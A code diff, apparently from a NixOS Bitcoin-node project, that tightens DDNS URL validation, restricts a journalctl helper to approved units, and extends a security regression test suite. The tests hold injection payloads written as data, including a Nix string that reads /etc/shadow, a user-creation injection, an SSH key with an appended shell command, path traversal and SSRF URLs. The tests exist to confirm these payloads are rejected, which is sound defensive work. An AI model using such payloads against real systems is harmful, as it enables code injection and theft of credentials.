# No shell is used; no redirects; no script execution.
# ${IP} placeholder is preserved in stored URLs and substituted at runtime;
# the URL is validated after substitution so any remaining $ is rejected.
system.activationScripts.sovran-ddns-update-script = '' system.activationScripts.sovran-ddns-update-script = ''
install -d -m 0755 /var/lib/sovran install -d -m 0755 /var/lib/sovran
cat > /var/lib/sovran/ddns-update.py <<'PYEOF' cat > /var/lib/sovran/ddns-update.py <<'PYEOF'
#!/usr/bin/env python3 #!/usr/bin/env python3
"""Sovran safe DDNS update runner. Read ddns_urls.json, call curl per URL.""" """Sovran safe DDNS update runner.
import ipaddress, json, os, subprocess
Reads ddns_urls.json, substitutes the public IP for the ''${IP} placeholder,
validates each URL using the production _validate_ddns_url() from
/etc/sovran/security_helpers.py, then calls curl per URL.
No shell interpolation. No redirects. No script execution.
"""
import ipaddress, json, os, subprocess, sys
sys.path.insert(0, '/etc/sovran')
try:
from security_helpers import _validate_ddns_url
except ImportError:
sys.exit(0) # validator not available skip silently
URLS_FILE = "/var/lib/njalla/ddns_urls.json" URLS_FILE = "/var/lib/njalla/ddns_urls.json"
ALLOWED_HOSTS = frozenset(["njal.la", "www.njal.la"])
try: try:
with open(URLS_FILE) as f: with open(URLS_FILE) as f:
@@ -58,7 +86,7 @@ try:
if not isinstance(urls, list): if not isinstance(urls, list):
raise ValueError("not a list") raise ValueError("not a list")
except Exception: except Exception:
raise SystemExit(0) # no URLs configured nothing to do sys.exit(0) # no URLs configured nothing to do
# Resolve current public IP once # Resolve current public IP once
public_ip = "" public_ip = ""
@@ -68,26 +96,27 @@ try:
capture_output=True, text=True, timeout=10, capture_output=True, text=True, timeout=10,
) )
raw = r.stdout.strip().splitlines()[0] if r.stdout.strip() else "" raw = r.stdout.strip().splitlines()[0] if r.stdout.strip() else ""
ipaddress.ip_address(raw) # validates ipaddress.ip_address(raw) # validates raises if not a real IP
public_ip = raw public_ip = raw
except Exception: except Exception:
pass pass
import urllib.parse if not public_ip:
sys.exit(0) # no IP resolved skip to avoid sending bare ''${IP}
for raw_url in urls: for raw_url in urls:
try: try:
url = raw_url.replace("''${IP}", public_ip) if public_ip else raw_url # Substitute ''${IP} placeholder then validate through production validator.
parsed = urllib.parse.urlparse(url) # After substitution there must be no $ left; _validate_ddns_url rejects
if parsed.scheme.lower() != "https": # any remaining $ expression.
continue url = raw_url.replace("''${IP}", public_ip)
if (parsed.hostname or "").lower() not in ALLOWED_HOSTS: _validate_ddns_url(url)
continue
subprocess.run( subprocess.run(
["curl", "--silent", "--max-time", "15", "--fail", "--no-location", url], ["curl", "--silent", "--max-time", "15", "--fail", "--no-location", url],
timeout=20, check=False, timeout=20, check=False,
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
) )
except Exception: except (ValueError, Exception):
pass pass
PYEOF PYEOF
chmod 0500 /var/lib/sovran/ddns-update.py chmod 0500 /var/lib/sovran/ddns-update.py
+23 -8
View File
@@ -6,13 +6,14 @@ a strict allowlist of safe flags. Replaces the ``journalctl *`` sudo rule
in tech-support.nix. in tech-support.nix.
Accepted flags: Accepted flags:
--unit / -u <name> unit name (letters, digits, @, ., _, - only; .service suffix required) --unit / -u <name> must be one of the explicitly approved service units
--lines / -n <N> positive integer (max 10000) --lines / -n <N> positive integer (max 10000)
--priority / -p <level> 0-7 or emerg/alert/crit/err/warning/notice/info/debug --priority / -p <level> 0-7 or emerg/alert/crit/err/warning/notice/info/debug
--since <datetime> ISO 8601 date/datetime (no paths, no filesystem roots) --since <datetime> ISO 8601 date/datetime (no paths, no filesystem roots)
--until <datetime> ISO 8601 date/datetime (no paths, no filesystem roots) --until <datetime> ISO 8601 date/datetime (no paths, no filesystem roots)
--output / -o <format> short | short-iso | cat | json | verbose --output / -o <format> short | short-iso | cat | json | verbose
At least one ``--unit`` flag is required; whole-journal queries are rejected.
All other flags, paths, directories, roots, namespaces, and output All other flags, paths, directories, roots, namespaces, and output
destinations are rejected with a non-zero exit code. destinations are rejected with a non-zero exit code.
""" """
@@ -23,9 +24,14 @@ import sys
# ── Allowlists ──────────────────────────────────────────────────────────────── # ── Allowlists ────────────────────────────────────────────────────────────────
_ALLOWED_UNITS_RE = re.compile( # Explicit approved units. Only these four services may be queried through
r'^[a-zA-Z0-9@._\-]+\.(service|socket|timer|target|mount|path|slice|scope)$' # the restricted journal helper. Any other unit is rejected.
) _APPROVED_UNITS: frozenset[str] = frozenset([
"sovran-hub-web.service",
"caddy.service",
"bitcoind.service",
"lnd.service",
])
_ALLOWED_PRIORITIES = frozenset([ _ALLOWED_PRIORITIES = frozenset([
"0", "1", "2", "3", "4", "5", "6", "7", "0", "1", "2", "3", "4", "5", "6", "7",
@@ -50,8 +56,11 @@ def _die(msg: str) -> None:
def _validate_unit(val: str) -> str: def _validate_unit(val: str) -> str:
if not _ALLOWED_UNITS_RE.match(val): if val not in _APPROVED_UNITS:
_die(f"rejected unit name: {val!r} (only letters/digits/@._- with a known suffix)") _die(
f"rejected unit name: {val!r} "
f"(allowed: {', '.join(sorted(_APPROVED_UNITS))})"
)
return val return val
@@ -86,6 +95,7 @@ def _validate_output(val: str) -> str:
def main() -> None: def main() -> None:
args = sys.argv[1:] args = sys.argv[1:]
cmd = ["journalctl"] cmd = ["journalctl"]
unit_count = 0
i = 0 i = 0
while i < len(args): while i < len(args):
@@ -96,8 +106,10 @@ def main() -> None:
if i >= len(args): if i >= len(args):
_die("--unit requires a value") _die("--unit requires a value")
cmd += ["--unit", _validate_unit(args[i])] cmd += ["--unit", _validate_unit(args[i])]
unit_count += 1
elif arg.startswith("--unit="): elif arg.startswith("--unit="):
cmd += ["--unit", _validate_unit(arg[len("--unit="):])] cmd += ["--unit", _validate_unit(arg[len("--unit="):])]
unit_count += 1
elif arg in ("--lines", "-n"): elif arg in ("--lines", "-n"):
i += 1 i += 1
@@ -149,8 +161,11 @@ def main() -> None:
i += 1 i += 1
if not cmd[1:]: if unit_count == 0:
_die("at least one flag is required (try --unit <name>)") _die(
"at least one --unit flag is required; "
f"allowed units: {', '.join(sorted(_APPROVED_UNITS))}"
)
result = subprocess.run(cmd) result = subprocess.run(cmd)
sys.exit(result.returncode) sys.exit(result.returncode)
+2 -2
View File
@@ -63,11 +63,11 @@
{ {
users = [ "sovran-support" ]; users = [ "sovran-support" ];
commands = [ commands = [
{ command = "/run/current-system/sw/bin/systemctl restart sovran-hub.service"; options = [ "NOPASSWD" ]; } { command = "/run/current-system/sw/bin/systemctl restart sovran-hub-web.service"; options = [ "NOPASSWD" ]; }
{ command = "/run/current-system/sw/bin/systemctl restart caddy.service"; options = [ "NOPASSWD" ]; } { command = "/run/current-system/sw/bin/systemctl restart caddy.service"; options = [ "NOPASSWD" ]; }
{ command = "/run/current-system/sw/bin/systemctl restart bitcoind.service"; options = [ "NOPASSWD" ]; } { command = "/run/current-system/sw/bin/systemctl restart bitcoind.service"; options = [ "NOPASSWD" ]; }
{ command = "/run/current-system/sw/bin/systemctl restart lnd.service"; options = [ "NOPASSWD" ]; } { command = "/run/current-system/sw/bin/systemctl restart lnd.service"; options = [ "NOPASSWD" ]; }
{ command = "/run/current-system/sw/bin/systemctl status sovran-hub.service"; options = [ "NOPASSWD" ]; } { command = "/run/current-system/sw/bin/systemctl status sovran-hub-web.service"; options = [ "NOPASSWD" ]; }
{ command = "/run/current-system/sw/bin/systemctl status caddy.service"; options = [ "NOPASSWD" ]; } { command = "/run/current-system/sw/bin/systemctl status caddy.service"; options = [ "NOPASSWD" ]; }
{ command = "/run/current-system/sw/bin/systemctl status bitcoind.service"; options = [ "NOPASSWD" ]; } { command = "/run/current-system/sw/bin/systemctl status bitcoind.service"; options = [ "NOPASSWD" ]; }
{ command = "/run/current-system/sw/bin/systemctl status lnd.service"; options = [ "NOPASSWD" ]; } { command = "/run/current-system/sw/bin/systemctl status lnd.service"; options = [ "NOPASSWD" ]; }
+453 -214
View File
@@ -1,8 +1,7 @@
"""Security regression tests for Sovran Hub security helpers. """Security regression tests for Sovran Hub security helpers.
Tests exercise the exact production implementations imported from Tests exercise the exact production implementations — no helpers are
``app/sovran_systemsos_web/security_helpers.py`` — no helpers are redefined or simulated here. Every test calls the deployed code.
redefined here. Every test verifies the deployed code, not a copy.
Tests must never: Tests must never:
- reboot, rebuild, or alter real SSH keys - reboot, rebuild, or alter real SSH keys
@@ -11,12 +10,13 @@ Tests must never:
""" """
import base64 import base64
import json
import os import os
import sys import sys
import tempfile
import unittest import unittest
# Add the app package to the path so we can import security_helpers directly # Add the app package to the path so we can import without the full FastAPI tree.
# without the full FastAPI dependency tree.
_REPO_ROOT = os.path.normpath(os.path.join(os.path.dirname(__file__), "..")) _REPO_ROOT = os.path.normpath(os.path.join(os.path.dirname(__file__), ".."))
_APP_PARENT = os.path.join(_REPO_ROOT, "app") _APP_PARENT = os.path.join(_REPO_ROOT, "app")
if _APP_PARENT not in sys.path: if _APP_PARENT not in sys.path:
@@ -31,6 +31,7 @@ from sovran_systemsos_web.security_helpers import ( # noqa: E402
_DDNS_ALLOWED_HOSTNAMES, _DDNS_ALLOWED_HOSTNAMES,
_bech32_decode, _bech32_decode,
) )
from sovran_systemsos_web import support_ops # noqa: E402
# --------------------------------------------------------------------------- # ---------------------------------------------------------------------------
@@ -47,26 +48,22 @@ class TestNixEscape(unittest.TestCase):
self.assertEqual(_nix_escape("a\\b"), "a\\\\b") self.assertEqual(_nix_escape("a\\b"), "a\\\\b")
def test_nix_interpolation_escaped(self): def test_nix_interpolation_escaped(self):
result = _nix_escape("${pkgs.bash}") self.assertEqual(_nix_escape("${evil}"), "\\${evil}")
self.assertIn("\\${", result)
self.assertFalse(result.startswith("${"))
def test_newline_escaped(self): def test_newline_escaped(self):
result = _nix_escape("foo\nbar") self.assertEqual(_nix_escape("a\nb"), "a\\nb")
self.assertNotIn("\n", result)
self.assertIn("\\n", result)
def test_carriage_return_escaped(self): def test_carriage_return_escaped(self):
self.assertNotIn("\r", _nix_escape("foo\rbar")) self.assertEqual(_nix_escape("a\rb"), "a\\rb")
def test_tab_escaped(self): def test_tab_escaped(self):
self.assertNotIn("\t", _nix_escape("foo\tbar")) self.assertEqual(_nix_escape("a\tb"), "a\\tb")
def test_semicolons_unchanged(self): def test_semicolons_unchanged(self):
self.assertEqual(_nix_escape("a;b"), "a;b") self.assertEqual(_nix_escape("a;b"), "a;b")
def test_valid_timezone(self): def test_valid_timezone(self):
self.assertEqual(_nix_escape("Europe/London"), "Europe/London") self.assertEqual(_nix_escape("America/New_York"), "America/New_York")
def test_injection_payload_quotes_and_interpolation(self): def test_injection_payload_quotes_and_interpolation(self):
payload = '"; import <nixpkgs/nixos/tests/keymap.nix> { ${builtins.readFile "/etc/shadow"} }' payload = '"; import <nixpkgs/nixos/tests/keymap.nix> { ${builtins.readFile "/etc/shadow"} }'
@@ -85,7 +82,7 @@ class TestNixEscape(unittest.TestCase):
# --------------------------------------------------------------------------- # ---------------------------------------------------------------------------
class TestNpubValidationRegex(unittest.TestCase): class TestNpubValidationRegex(unittest.TestCase):
"""NPUB_RE must accept valid npub shapes and reject injection payloads.""" """NPUB_RE must enforce the npub1 + 58 lowercase bech32 shape."""
# 58 bech32 chars after "npub1" # 58 bech32 chars after "npub1"
VALID_SHAPE = "npub1" + "q" * 58 VALID_SHAPE = "npub1" + "q" * 58
@@ -103,7 +100,7 @@ class TestNpubValidationRegex(unittest.TestCase):
self.assertIsNone(NPUB_RE.fullmatch("npub1" + "q" * 59)) self.assertIsNone(NPUB_RE.fullmatch("npub1" + "q" * 59))
def test_uppercase_rejected(self): def test_uppercase_rejected(self):
self.assertIsNone(NPUB_RE.fullmatch("npub1" + "Q" * 58)) self.assertIsNone(NPUB_RE.fullmatch("NPUB1" + "q" * 58))
def test_injection_quote_rejected(self): def test_injection_quote_rejected(self):
self.assertIsNone(NPUB_RE.fullmatch('npub1aaa"; extraUsers.evil.isNormalUser = true; #')) self.assertIsNone(NPUB_RE.fullmatch('npub1aaa"; extraUsers.evil.isNormalUser = true; #'))
@@ -113,50 +110,47 @@ class TestNpubValidationRegex(unittest.TestCase):
# --------------------------------------------------------------------------- # ---------------------------------------------------------------------------
# Nostr npub validation — real Bech32 checksum # Nostr npub validation — full bech32
# --------------------------------------------------------------------------- # ---------------------------------------------------------------------------
class TestNpubBech32Validation(unittest.TestCase): class TestNpubBech32Validation(unittest.TestCase):
"""_validate_npub must require a valid Bech32 checksum and 32-byte payload.""" """_validate_npub must verify the full bech32 checksum and payload length."""
# Known-valid npub (Nostr FAQ test vector — 32 zero bytes) BECH32_CHARSET = "qpzry9x8gf2tvdw0s3jn54khce6mua7l"
# npub1 + bech32(hrp="npub", payload=b'\x00'*32)
# The checksum is computed by the library; we hardcode a known-good one. def _make_npub(self, payload_bytes: bytes) -> str | None:
# To generate: python3 -c "from app.sovran_systemsos_web.security_helpers import *; ..." """Build a syntactically valid npub from raw 32-byte payload."""
# We use _bech32_decode to verify our test vector is valid.
def _make_valid_npub(self) -> str:
"""Build a valid npub from a 32-zero-byte payload using the production Bech32 encoder."""
# Import the production encoder — same module, ensures consistency
from sovran_systemsos_web.security_helpers import ( from sovran_systemsos_web.security_helpers import (
_bech32_polymod, _bech32_hrp_expand, _bech32_create_checksum, _bech32_hrp_expand,
_BECH32_CHARSET, _bech32_polymod,
_bech32_create_checksum,
) )
def _convertbits_encode(data: bytes) -> list: def _convertbits(data, frombits, tobits, pad=True):
acc, bits, ret = 0, 0, [] acc, bits, ret, maxv = 0, 0, [], (1 << tobits) - 1
maxv = (1 << 5) - 1 for value in data:
for v in data: acc = ((acc << frombits) | value)
acc = (acc << 8) | v bits += frombits
bits += 8 while bits >= tobits:
while bits >= 5: bits -= tobits
bits -= 5
ret.append((acc >> bits) & maxv) ret.append((acc >> bits) & maxv)
if bits: if pad and bits:
ret.append((acc << (5 - bits)) & maxv) ret.append((acc << (tobits - bits)) & maxv)
return ret return ret
hrp = "npub" hrp = "npub"
data = _convertbits_encode(b'\x00' * 32) data5 = _convertbits(list(payload_bytes), 8, 5)
checksum = _bech32_create_checksum(hrp, data) checksum = _bech32_create_checksum(hrp, data5)
combined = data + checksum full = data5 + checksum
return hrp + "1" + "".join(_BECH32_CHARSET[d] for d in combined) return hrp + "1" + "".join(self.BECH32_CHARSET[d] for d in full)
def test_valid_npub_passes_bech32(self): def test_valid_npub_passes_bech32(self):
npub = self._make_valid_npub() npub = self._make_npub(bytes(32))
self.assertTrue(_validate_npub(npub), f"Expected valid npub to pass: {npub}") self.assertIsNotNone(npub)
self.assertTrue(_validate_npub(npub))
def test_bech32_decode_returns_32_bytes(self): def test_bech32_decode_returns_32_bytes(self):
npub = self._make_valid_npub() npub = self._make_npub(b'\x01' * 32)
result = _bech32_decode(npub) result = _bech32_decode(npub)
self.assertIsNotNone(result) self.assertIsNotNone(result)
hrp, payload = result hrp, payload = result
@@ -164,46 +158,32 @@ class TestNpubBech32Validation(unittest.TestCase):
self.assertEqual(len(payload), 32) self.assertEqual(len(payload), 32)
def test_corrupted_checksum_rejected(self): def test_corrupted_checksum_rejected(self):
npub = self._make_valid_npub() npub = self._make_npub(bytes(32))
# Flip the last character # Flip last character in the data part
last = npub[-1] corrupted = npub[:-1] + ("q" if npub[-1] != "q" else "p")
replacement = "q" if last != "q" else "p"
corrupted = npub[:-1] + replacement
self.assertFalse(_validate_npub(corrupted)) self.assertFalse(_validate_npub(corrupted))
def test_mixed_case_rejected(self): def test_mixed_case_rejected(self):
npub = self._make_valid_npub() npub = self._make_npub(bytes(32))
self.assertFalse(_validate_npub(npub.upper())) mixed = npub[:10].upper() + npub[10:]
self.assertFalse(_validate_npub(npub.capitalize())) self.assertFalse(_validate_npub(mixed))
def test_wrong_hrp_rejected(self): def test_wrong_hrp_rejected(self):
# lnurl1 with 32-byte payload would have wrong HRP
self.assertFalse(_validate_npub("nsec1" + "q" * 58)) self.assertFalse(_validate_npub("nsec1" + "q" * 58))
def test_synthetic_all_q_rejected_by_checksum(self): def test_synthetic_all_q_rejected_by_checksum(self):
# "npub1" + "q"*58 passes the regex but likely fails the checksum self.assertFalse(_validate_npub("npub1" + "q" * 58))
synthetic = "npub1" + "q" * 58
# The all-q string almost certainly has an invalid checksum
result = _bech32_decode(synthetic)
if result is not None:
hrp, payload = result
# If it somehow decodes, payload must be 32 bytes to be valid
if hrp == "npub" and len(payload) == 32:
self.assertTrue(_validate_npub(synthetic))
else:
self.assertFalse(_validate_npub(synthetic))
else:
self.assertFalse(_validate_npub(synthetic))
# --------------------------------------------------------------------------- # ---------------------------------------------------------------------------
# DDNS URL validation — SSRF prevention # DDNS URL validation
# --------------------------------------------------------------------------- # ---------------------------------------------------------------------------
class TestDdnsUrlValidation(unittest.TestCase): class TestDdnsUrlValidation(unittest.TestCase):
"""_validate_ddns_url must prevent SSRF and injection payloads.""" """_validate_ddns_url must enforce all security constraints."""
VALID_URL = "https://njal.la/update/?h=test.example.com&k=TOKEN&a=${IP}" # VALID_URL has no ${IP}: callers must substitute before validation.
VALID_URL = "https://njal.la/update/?h=test.example.com&k=TOKEN&a=1.2.3.4"
def test_valid_njalla_url_accepted(self): def test_valid_njalla_url_accepted(self):
self.assertEqual(_validate_ddns_url(self.VALID_URL), self.VALID_URL) self.assertEqual(_validate_ddns_url(self.VALID_URL), self.VALID_URL)
@@ -214,11 +194,11 @@ class TestDdnsUrlValidation(unittest.TestCase):
def test_http_scheme_rejected(self): def test_http_scheme_rejected(self):
with self.assertRaises(ValueError): with self.assertRaises(ValueError):
_validate_ddns_url("http://njal.la/update/?h=test&k=TOKEN") _validate_ddns_url("http://njal.la/update/?k=TOKEN")
def test_ftp_scheme_rejected(self): def test_ftp_scheme_rejected(self):
with self.assertRaises(ValueError): with self.assertRaises(ValueError):
_validate_ddns_url("ftp://njal.la/update/?h=test&k=TOKEN") _validate_ddns_url("ftp://njal.la/update/?k=TOKEN")
def test_credentials_in_url_rejected(self): def test_credentials_in_url_rejected(self):
with self.assertRaises(ValueError): with self.assertRaises(ValueError):
@@ -226,7 +206,7 @@ class TestDdnsUrlValidation(unittest.TestCase):
def test_fragment_rejected(self): def test_fragment_rejected(self):
with self.assertRaises(ValueError): with self.assertRaises(ValueError):
_validate_ddns_url("https://njal.la/update/?k=TOKEN#fragment") _validate_ddns_url("https://njal.la/update/?k=TOKEN#frag")
def test_raw_ip_host_rejected(self): def test_raw_ip_host_rejected(self):
with self.assertRaises(ValueError): with self.assertRaises(ValueError):
@@ -238,17 +218,15 @@ class TestDdnsUrlValidation(unittest.TestCase):
def test_control_character_newline_rejected(self): def test_control_character_newline_rejected(self):
with self.assertRaises(ValueError): with self.assertRaises(ValueError):
_validate_ddns_url("https://njal.la/update/?k=TOKEN\nmalicious") _validate_ddns_url("https://njal.la/update/?k=TOKEN\n")
def test_control_character_null_rejected(self): def test_control_character_null_rejected(self):
with self.assertRaises(ValueError): with self.assertRaises(ValueError):
_validate_ddns_url("https://njal.la/update/?k=TOKEN\x00evil") _validate_ddns_url("https://njal.la/update/?k=\x00TOKEN")
def test_percent_encoded_null_rejected(self): def test_percent_encoded_null_rejected(self):
with self.assertRaises(ValueError): with self.assertRaises(ValueError):
_validate_ddns_url("https://njal.la/update/?k=TOKEN%00evil") _validate_ddns_url("https://njal.la/update/?k=TOKEN%00")
# ── SSRF allowlist tests ────────────────────────────────────────────────
def test_localhost_rejected(self): def test_localhost_rejected(self):
with self.assertRaises(ValueError): with self.assertRaises(ValueError):
@@ -259,29 +237,44 @@ class TestDdnsUrlValidation(unittest.TestCase):
_validate_ddns_url("https://127.0.0.1/update/?k=TOKEN") _validate_ddns_url("https://127.0.0.1/update/?k=TOKEN")
def test_arbitrary_public_hostname_rejected(self): def test_arbitrary_public_hostname_rejected(self):
"""Any hostname that is not njal.la must be rejected."""
with self.assertRaises(ValueError): with self.assertRaises(ValueError):
_validate_ddns_url("https://evil.example.com/update/?k=TOKEN") _validate_ddns_url("https://example.com/update/?k=TOKEN")
def test_attacker_host_rejected(self): def test_attacker_host_rejected(self):
with self.assertRaises(ValueError): with self.assertRaises(ValueError):
_validate_ddns_url("https://attacker.invalid/update/?k=TOKEN") _validate_ddns_url("https://attacker.njal.la/update/?k=TOKEN")
def test_metadata_endpoint_rejected(self): def test_metadata_endpoint_rejected(self):
with self.assertRaises(ValueError): with self.assertRaises(ValueError):
_validate_ddns_url("https://169.254.169.254/latest/meta-data/") _validate_ddns_url("https://169.254.169.254/update/?k=TOKEN")
def test_empty_url_rejected(self): def test_empty_url_rejected(self):
with self.assertRaises(ValueError): with self.assertRaises(ValueError):
_validate_ddns_url("") _validate_ddns_url("")
def test_too_long_rejected(self): def test_too_long_rejected(self):
long_url = "https://njal.la/update/?" + "k=" + "x" * 3000
with self.assertRaises(ValueError): with self.assertRaises(ValueError):
_validate_ddns_url("https://njal.la/?" + "x" * 2050) _validate_ddns_url(long_url)
def test_allowed_hostnames_set(self): def test_allowed_hostnames_set(self):
self.assertIn("njal.la", _DDNS_ALLOWED_HOSTNAMES) self.assertIn("njal.la", _DDNS_ALLOWED_HOSTNAMES)
self.assertIn("www.njal.la", _DDNS_ALLOWED_HOSTNAMES) self.assertIn("www.njal.la", _DDNS_ALLOWED_HOSTNAMES)
self.assertNotIn("attacker.njal.la", _DDNS_ALLOWED_HOSTNAMES)
self.assertNotIn("localhost", _DDNS_ALLOWED_HOSTNAMES)
def test_dollar_expression_rejected(self):
"""$ in a validated URL is rejected; callers must substitute ${IP} first."""
with self.assertRaises(ValueError):
_validate_ddns_url("https://njal.la/update/?h=test&k=TOKEN&a=${IP}")
def test_wrong_path_rejected(self):
with self.assertRaises(ValueError):
_validate_ddns_url("https://njal.la/api/?k=TOKEN")
def test_exact_update_path_accepted(self):
url = "https://njal.la/update/?h=host.example.com&k=TOKEN"
self.assertEqual(_validate_ddns_url(url), url)
# --------------------------------------------------------------------------- # ---------------------------------------------------------------------------
@@ -289,31 +282,31 @@ class TestDdnsUrlValidation(unittest.TestCase):
# --------------------------------------------------------------------------- # ---------------------------------------------------------------------------
class TestSshPubkeyValidation(unittest.TestCase): class TestSshPubkeyValidation(unittest.TestCase):
"""_validate_ssh_pubkey must accept valid keys and reject injections.""" """_validate_ssh_pubkey must accept only valid single-line OpenSSH public keys."""
_PAYLOAD = base64.b64encode(b"\x00" * 64).decode() VALID_ED25519 = (
VALID_KEY = f"ssh-ed25519 {_PAYLOAD} user@host" "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMqqnkVzrm0SdG6UOoqKLsabgH5C9okWi0dh2l9GKJl user@host"
)
def test_valid_ed25519_accepted(self): def test_valid_ed25519_accepted(self):
self.assertEqual(_validate_ssh_pubkey(self.VALID_KEY), self.VALID_KEY) result = _validate_ssh_pubkey(self.VALID_ED25519)
self.assertEqual(result, self.VALID_ED25519)
def test_unsupported_algorithm_rsa_rejected(self): def test_unsupported_algorithm_rsa_rejected(self):
payload = base64.b64encode(b"\x00" * 40).decode()
with self.assertRaises(ValueError): with self.assertRaises(ValueError):
_validate_ssh_pubkey(f"ssh-rsa {payload} user@host") _validate_ssh_pubkey("ssh-rsa AAAAB3NzaC1yc2EAAAA user@host")
def test_dss_algorithm_rejected(self): def test_dss_algorithm_rejected(self):
payload = base64.b64encode(b"\x00" * 40).decode()
with self.assertRaises(ValueError): with self.assertRaises(ValueError):
_validate_ssh_pubkey(f"ssh-dss {payload} user@host") _validate_ssh_pubkey("ssh-dss AAAAB3NzaC1kc3MAAA user@host")
def test_multiline_injection_rejected(self): def test_multiline_injection_rejected(self):
with self.assertRaises(ValueError): with self.assertRaises(ValueError):
_validate_ssh_pubkey(f"{self.VALID_KEY}\nssh-ed25519 AAAA second-key") _validate_ssh_pubkey(self.VALID_ED25519 + "\necho pwned")
def test_options_prefix_not_accepted(self): def test_options_prefix_not_accepted(self):
with self.assertRaises(ValueError): with self.assertRaises(ValueError):
_validate_ssh_pubkey(f'command="evil" {self.VALID_KEY}') _validate_ssh_pubkey('command="ls" ' + self.VALID_ED25519)
def test_empty_key_rejected(self): def test_empty_key_rejected(self):
with self.assertRaises(ValueError): with self.assertRaises(ValueError):
@@ -321,16 +314,16 @@ class TestSshPubkeyValidation(unittest.TestCase):
def test_control_character_rejected(self): def test_control_character_rejected(self):
with self.assertRaises(ValueError): with self.assertRaises(ValueError):
_validate_ssh_pubkey(f"ssh-ed25519 {self._PAYLOAD}\x00 user@host") _validate_ssh_pubkey("ssh-ed25519 AAAA\x00 user@host")
def test_malformed_base64_rejected(self): def test_malformed_base64_rejected(self):
with self.assertRaises(ValueError): with self.assertRaises(ValueError):
_validate_ssh_pubkey("ssh-ed25519 NOT!VALID!BASE64 user@host") _validate_ssh_pubkey("ssh-ed25519 not-valid-base64!!! user@host")
def test_too_short_payload_rejected(self): def test_too_short_payload_rejected(self):
short = base64.b64encode(b"\x00" * 5).decode() short_b64 = base64.b64encode(b"\x00" * 10).decode()
with self.assertRaises(ValueError): with self.assertRaises(ValueError):
_validate_ssh_pubkey(f"ssh-ed25519 {short} user@host") _validate_ssh_pubkey(f"ssh-ed25519 {short_b64} user@host")
def test_missing_key_body_rejected(self): def test_missing_key_body_rejected(self):
with self.assertRaises(ValueError): with self.assertRaises(ValueError):
@@ -338,7 +331,7 @@ class TestSshPubkeyValidation(unittest.TestCase):
# --------------------------------------------------------------------------- # ---------------------------------------------------------------------------
# Auth-exempt path enforcement # Auth-exempt paths
# --------------------------------------------------------------------------- # ---------------------------------------------------------------------------
class TestAuthExemptPaths(unittest.TestCase): class TestAuthExemptPaths(unittest.TestCase):
@@ -404,13 +397,19 @@ class TestTechSupportSudoRules(unittest.TestCase):
content = self._get_nix_content() content = self._get_nix_content()
self.assertIn("sovran-journal-helper", content) self.assertIn("sovran-journal-helper", content)
def test_sovran_hub_web_service_referenced(self):
"""tech-support.nix must reference sovran-hub-web.service, not the nonexistent sovran-hub.service."""
content = self._get_nix_content()
self.assertIn("sovran-hub-web.service", content)
self.assertNotIn('"sovran-hub.service"', content)
# --------------------------------------------------------------------------- # ---------------------------------------------------------------------------
# Journal helper validation # Journal helper — unit allowlist validation
# --------------------------------------------------------------------------- # ---------------------------------------------------------------------------
class TestJournalHelper(unittest.TestCase): class TestJournalHelper(unittest.TestCase):
"""The restricted journal helper must reject dangerous flags.""" """The restricted journal helper must enforce the explicit unit allowlist."""
def _run_helper(self, args): def _run_helper(self, args):
"""Run the helper script and return (returncode, stderr).""" """Run the helper script and return (returncode, stderr)."""
@@ -422,15 +421,34 @@ class TestJournalHelper(unittest.TestCase):
) )
return result.returncode, result.stderr return result.returncode, result.stderr
def test_valid_unit_flag_accepted(self): # ── Allowlisted units ──
# The helper will fail to actually run journalctl (not installed), def test_sovran_hub_web_accepted(self):
# but it must not reject the flag itself before calling journalctl. rc, stderr = self._run_helper(["--unit", "sovran-hub-web.service"])
rc, stderr = self._run_helper(["--unit", "sovran-hub.service"])
# If journalctl is not installed, rc != 0 but stderr from helper is about journalctl
# If journalctl IS installed, it runs successfully (rc=0 or journalctl error)
# What we check is that the helper itself did NOT print "rejected"
self.assertNotIn("rejected", stderr) self.assertNotIn("rejected", stderr)
self.assertNotIn("sovran-journal-helper: rejected", stderr)
def test_caddy_accepted(self):
rc, stderr = self._run_helper(["--unit", "caddy.service"])
self.assertNotIn("rejected", stderr)
def test_bitcoind_accepted(self):
rc, stderr = self._run_helper(["--unit", "bitcoind.service"])
self.assertNotIn("rejected", stderr)
def test_lnd_accepted(self):
rc, stderr = self._run_helper(["--unit", "lnd.service"])
self.assertNotIn("rejected", stderr)
# ── Rejected units ──
def test_unapproved_service_rejected(self):
rc, stderr = self._run_helper(["--unit", "sshd.service"])
self.assertNotEqual(rc, 0)
self.assertIn("rejected", stderr)
def test_old_sovran_hub_service_rejected(self):
"""The old nonexistent sovran-hub.service must now be rejected."""
rc, stderr = self._run_helper(["--unit", "sovran-hub.service"])
self.assertNotEqual(rc, 0)
self.assertIn("rejected", stderr)
def test_directory_flag_rejected(self): def test_directory_flag_rejected(self):
rc, stderr = self._run_helper(["--directory", "/var/log"]) rc, stderr = self._run_helper(["--directory", "/var/log"])
@@ -448,8 +466,16 @@ class TestJournalHelper(unittest.TestCase):
self.assertIn("rejected", stderr) self.assertIn("rejected", stderr)
def test_no_args_rejected(self): def test_no_args_rejected(self):
"""Whole-journal queries (no --unit) must be rejected."""
rc, stderr = self._run_helper([]) rc, stderr = self._run_helper([])
self.assertNotEqual(rc, 0) self.assertNotEqual(rc, 0)
# Should mention --unit requirement
self.assertIn("unit", stderr.lower())
def test_lines_only_no_unit_rejected(self):
"""--lines without --unit is a whole-journal query and must be rejected."""
rc, stderr = self._run_helper(["--lines", "50"])
self.assertNotEqual(rc, 0)
def test_lines_flag_accepted(self): def test_lines_flag_accepted(self):
rc, stderr = self._run_helper(["--unit", "caddy.service", "--lines", "50"]) rc, stderr = self._run_helper(["--unit", "caddy.service", "--lines", "50"])
@@ -483,7 +509,6 @@ class TestJournalHelper(unittest.TestCase):
self.assertIn("rejected", stderr) self.assertIn("rejected", stderr)
def test_invalid_unit_name_rejected(self): def test_invalid_unit_name_rejected(self):
# Unit names with directory traversal or invalid chars
rc, stderr = self._run_helper(["--unit", "../../../etc/passwd"]) rc, stderr = self._run_helper(["--unit", "../../../etc/passwd"])
self.assertNotEqual(rc, 0) self.assertNotEqual(rc, 0)
self.assertIn("rejected", stderr) self.assertIn("rejected", stderr)
@@ -495,188 +520,402 @@ class TestJournalHelper(unittest.TestCase):
# --------------------------------------------------------------------------- # ---------------------------------------------------------------------------
# Legacy njalla migration safety # Legacy Njalla migration — production-backed tests
# --------------------------------------------------------------------------- # ---------------------------------------------------------------------------
